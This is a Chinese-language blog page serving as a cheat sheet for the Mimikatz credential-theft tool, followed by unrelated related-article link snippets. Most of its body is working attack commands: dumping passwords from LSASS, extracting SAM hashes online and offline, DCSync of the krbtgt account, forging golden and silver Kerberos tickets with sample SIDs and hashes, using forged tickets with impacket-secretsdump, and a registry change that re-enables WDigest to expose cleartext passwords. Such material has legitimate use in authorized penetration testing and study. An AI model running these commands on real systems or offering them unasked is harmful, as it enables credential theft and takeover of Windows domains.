以肉去蚁蚁愈多,以鱼驱蝇蝇愈至。

导航


1、工具介绍

Mimikatz 是一款由法国安全研究员 Benjamin Delpy 编写的 Windows 安全工具,在渗透测试中被广泛用于密码提取、Kerberos 攻击、票据伪造、LSA dump 等工作。

2、基本用法

2.1、执行方式

Mimikatz 支持两种方式去执行命令,分别是:交互式、脚本式。虽然交互式中的命令总是可以转换为脚本式去执行,但也存在一些命令只能在交互式中去执行,而无法通过脚本式去执行。例如:金票伪造注入命令 Kerberos::golden ... /ptt 只能在交互式下执行,以脚本式执行时会报错运行失败。

(1)命令交互式执行如下:

.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
exit

(2)命令脚本式执行如下:

.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > pssword.txt

2.2、帮助命令

Mimikatz 内置的命令帮助手册并不好用,一些时候还是需要参考官方手册,尽管官方手册也并不太全面。

命令 :: 可查看 mimikatz 内置的模块列表:

mimikatz # ::
ERROR mimikatz_doLocal ; "" module not found ! standard - Standard module [Basic commands (does not require module name)]
crypto - Crypto Module
sekurlsa - SekurLSA module [Some commands to enumerate credentials...]
kerberos - Kerberos package module []
privilege - Privilege module
process - Process module
service - Service module
lsadump - LsaDump module
ts - Terminal Server module
event - Event module
misc - Miscellaneous module
token - Token manipulation module
......

命令 privilege:: 可查看 privilege 模块内置的子命令:

mimikatz # privilege::
ERROR mimikatz_doLocal ; "(null)" command of "privilege" module not found ! Module : privilege
Full name : Privilege module debug - Ask debug privilege
driver - Ask load driver privilege
security - Ask security privilege
tcb - Ask tcb privilege
backup - Ask backup privilege
restore - Ask restore privilege
sysenv - Ask system environment privilege
id - Ask a privilege by its id
name - Ask a privilege by its name

暂无命令可查看模块子命令的参数选项,只能参考那描述并不完整的官方手册

3、模块用法

3.1、Standard 模块

(1)日志记录

log c:\tmp\mimikatz.log

命令说明:与 mimikatz 交互所产生的信息全部被记录到一个指定文件中。

(2)mimikatz 版本查看

version
:: 本文所有命令均基于 mimikatz 2.2.0

3.2、Privilege 模块

(1)开启 SeDebugPrivilege 特权。

privilege::debug

privilege::name SeDebugPrivilege

privilege::id 20

::以上三条命令等效。

命令说明:确保那些需要高权限才能操作内存的模块命令在使用时能够被顺利执行。

注:通常情况下,用户只对属于自己的进程有调试权限,但如果该用户被赋予了 SeDebugPrivilege 特权时,该用户就拥有了调试其他用户进程的权限,此时就可以对一些高权限进程执行操作。

此外,在 Privilege 模块中,该特权是使用最多的一个特权,其它特权均很冷门。

3.3、Token 模块

(1)模拟身份

token::elevate 'NT AUTHORITY\SYSTEM'

::模拟成功时,通过 token::whoami 可以看到包含 'NT AUTHORITY\SYSTEM' 或 'Impersonation (Delegation)' 的信息,而默认情况下是不包含的。

命令说明:让当前 Mimikatz 进程“伪装”成 SYSTEM 权限的用户。然后,那些需要读取像如 SAM/SYSTEM 这类的文件/注册表的模块命令才能被顺利运行。

注:SAM/SYSTEM 是 windows 中保护最严密的注册表区域之一,仅 SYSTEM 用户可以访问。因此,即便 mimikatz.exe 是通过管理员身份运行的,其模块命令 lsadump::sam 也无法获取到关键的哈希信息,此时便只有提升到 SYSTEM 权限了。

(2)查看身份

token::whoami

(3)归还身份

token::revert

3.4、SekurLSA 模块

(1)从 LSASS 进程中提取当前已认证过的凭据

sekurlsa::logonPasswords

命令说明:从进程中提取所有有效的凭证。也就是说,可以在域主机上提取到在本机登录或在本地运行的服务上的域用户凭证。甚至有时候还能提取到明文密码。

3.5、LsaDump 模块

(1)本地提取 SAM 用户的哈希信息

lsadump::sam

(2)离线提取 SAM 用户的哈希信息

reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv

(3)提取域用户的哈希信息

lsadump::lsa /patch
::以简洁的方式批量输出 lsadump::lsa /patch /name:krbtgt
::以简洁的方式指定用户名输出 lsadump::lsa /patch /id:500
::以简洁的方式指定用户 id 输出 lsadump::lsa /inject /name:krbtgt
::以详细的方式指定用户名输出

(4)提取域用户的哈希信息

lsadump::dcsync /user:krbtgt
::提取指定域用户的信息 lsadump::dcsync /all
::提取所有域用户的信息

命令说明:该命令与 lsadump::lsa /inject /name:krbtgt 输出的内容基本相似。区别在于:该命令只能在域环境下使用,工作组环境下不可用。

3.6、Kerberos 模块

(1)查看/导出当前已缓存票据

kerberos::list

kerberos::list /export

命令说明:直接导出 DC 中现有的票据进行使用,省去了金银票据伪造的繁琐过程。

(2)金票伪造

kerberos::golden /user:administrator /domain:skylark.com /sid:S-1-5-21-1869548389-852568882-3188983647 /krbtgt:e6b43234ea2ce6d8bafa4b17c7b3790f /id:500

注:选项 /id 省略的情况下,默认值是 500,即代表 administrator 用户。

(3)银票伪造

kerberos::golden /user:administrator /domain:skylark.com /sid:S-1-5-21-1869548389-852568882-3188983647 /rc4:d5025b8cfb84a5e0ceb443ebd3b2294a /target:dc2012.skylark.com /service:cifs

注:与伪造金票不同之处在于:它的哈希选项是 /rc4 ,即 NTLM 类型的哈希。并且还额外增加了 /target /service 选项,这两选项是必须的。

(4)金/银票据攻击

export KRB5CCNAME=administrator.kirbi

impacket-secretsdump -k -no-pass administrator@dc2012.skylark.com -dc-ip 192.168.56.50 -target-ip 192.168.56.50
#票据的使用通过 impacket 套件中的工具使用效果最好。另外不管是金票还是银票,均可以使用此命令进行连接。

3.7、Misc 模块

(1)调出 cmd shell

misc::cmd

命令说明:在进行金票攻击或哈希传递攻击时可能需要用到。

(2)监听剪贴板

misc::clip

命令说明:暂无发现可用之处,留待观察。

4、杂项

(1)在高版本 Windows 系统中(win 8.1 以上,这意味着 win 7/xp 还是可以直接读明文密码。)无法利用 Mimikatz 命令 sekurlsa::logonpasswords 直接读取明文密码。这是因为微软默认关闭了 wdigest 注册表键,而如果想要重新获取明文,只需要开启该注册表后再输入密码重新登录即可。【开启命令:reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1

(2)Mimikatz 的大多数模块命令如果执行不成功,那基本都是权限问题。所以只要确保 privilege::debugtoken::elevate 'NT AUTHORITY\SYSTEM' 可以正常执行,那么基本上所有命令均可顺利执行。

Mimikatz 常用命令的更多相关文章

  1. mimikaz常用命令

    常用命令,留着自己使用的时候方便查找 mimikatz是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点也是让阿刚最感兴趣的就是他可以直接从 lsass中获 ...

  2. Linux 常用命令(持续补充)

    常用命令: command &:将进程放在后台执行 ctrl + z:暂停当前进程 并放入后台 jobs:查看当前后台任务 bg( %id):将任务转为后台执行 fg( %id):将任务调回前 ...

  3. LVM基本介绍与常用命令

    一.LVM介绍LVM是 Logical Volume Manager(逻辑卷管理)的简写,它是Linux环境下对磁盘分区进行管理的一种机制LVM - 优点:LVM通常用于装备大量磁盘的系统,但它同样适 ...

  4. Linux学习笔记(一):常用命令

    经过统计Linux中能够识别的命令超过3000种,当然常用的命令就远远没有这么多了,按照我的习惯,我把已经学过的Linux常用命令做了以下几个方面的分割: 1.文件处理命令 2.文件搜索命令 3.帮助 ...

  5. git常用命令(持续更新中)

    git常用命令(持续更新中) 本地仓库操作git int                                 初始化本地仓库git add .                       ...

  6. 【原】npm 常用命令详解

    今年上半年在学习gulp的使用,对npm的掌握是必不可少的,经常到npm官网查询文档让我感到不爽,还不如整理了一些常用的命令到自己博客上,于是根据自己的理解简单翻译过来,终于有点输出,想学习npm这块 ...

  7. npm常用命令

    npm常用命令 环境:win7 npm 是什么 NPM(node package manager),通常称为node包管理器.顾名思义,它的主要功能就是管理node包,包括:安装.卸载.更新.查看.搜 ...

  8. Git 常用命令

    一.初始環境配置 git config --global user.name "John Doe"git config --global user.email johndoe@ex ...

  9. linux iptables常用命令之配置生产环境iptables及优化

    在了解iptables的详细原理之前,我们先来看下如何使用iptables,以终为始,有可能会让你对iptables了解更深 所以接下来我们以配置一个生产环境下的iptables为例来讲讲它的常用命令 ...

  10. Linux常用命令(一)

    Linux常用命令 1. pwd查看当前路径(Print Working Directory)    [root@CentOS ~]# pwd/root 2. cd .. 返回上一级 .. 表示上一级 ...

随机推荐

  1. 印度股票实时行情API数据源接口

    ​ StockTV API: 提供实时和历史行情数据,覆盖印度所有股票和指数,支持WebSocket和REST API接口.(推荐使用,对接简单,有技术支持) 新浪财经:提供股票市场数据,可以优先考虑 ...

  2. FastAPI路由与请求处理进阶指南:解锁企业级API开发黑科技 🔥

    title: FastAPI路由与请求处理进阶指南:解锁企业级API开发黑科技 date: 2025/3/3 updated: 2025/3/3 author: cmdragon excerpt: 5 ...

  3. 基于React的虚拟滚动方案

    基于React的虚拟滚动方案 在渲染列表时我们通常会一次性将所有列表项渲染到DOM中,在数据量大的时候这种操作会造成页面响应缓慢,因为浏览器需要处理大量的DOM元素.而此时我们通常就需要虚拟滚动来实现 ...

  4. Qt QSqlDatabase的removeDatabase需要注意的地方

    文章目录 问题描述 Qt官方解决方法 另外一种解决方式 碎碎念 关于智能指针 问题描述 今天在做之前代码的重构的时候,在调用QSqlDatabase的removeDatabase函数的时候,出现了如下 ...

  5. 关于普通程序员该如何参与AI学习的三个建议以及自己的实践

    大部分程序员在学习大语言模型的时候都比较痛苦,感觉AI是如此之近又如此之远,仿佛能搞明白一点,又好像什么也没明白.就像我们在很远的地方看珠穆拉玛峰,感觉它就像一个不大的山包,感觉只要自己做足准备咬咬牙 ...

  6. Linux下配置系统ipv6环境

    一:检查Linux是否已经开启ipv6 1.使用 ifconfig 查看自己的IP地址是否含有IPv6地址. inet6 addr: fe80::213:d4f*:****:****/64 Scope ...

  7. $.ajax jsonp parsererror

    场景重现 通过$.ajax()发起的跨越请求代码如下: $.ajax({ dataType: "JSONP", type: "GET", url: " ...

  8. datasnap的Restful的接口方法

    //Restful接口测试 //GET function Test(Value: string): string; //POST function updateTest(Value: string; ...

  9. HTB打靶记录-EscapeTwo

    信息收集 nmap -sV -sC -O 10.10.11.51 Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-05 14:52 CST Sta ...

  10. 基于AST实现国际化文本提取

    我们是袋鼠云数栈 UED 团队,致力于打造优秀的一站式数据中台产品.我们始终保持工匠精神,探索前端道路,为社区积累并传播经验价值. 本文作者:霜序 前言 在阅读本文之前,需要读者有一些 babel 的 ...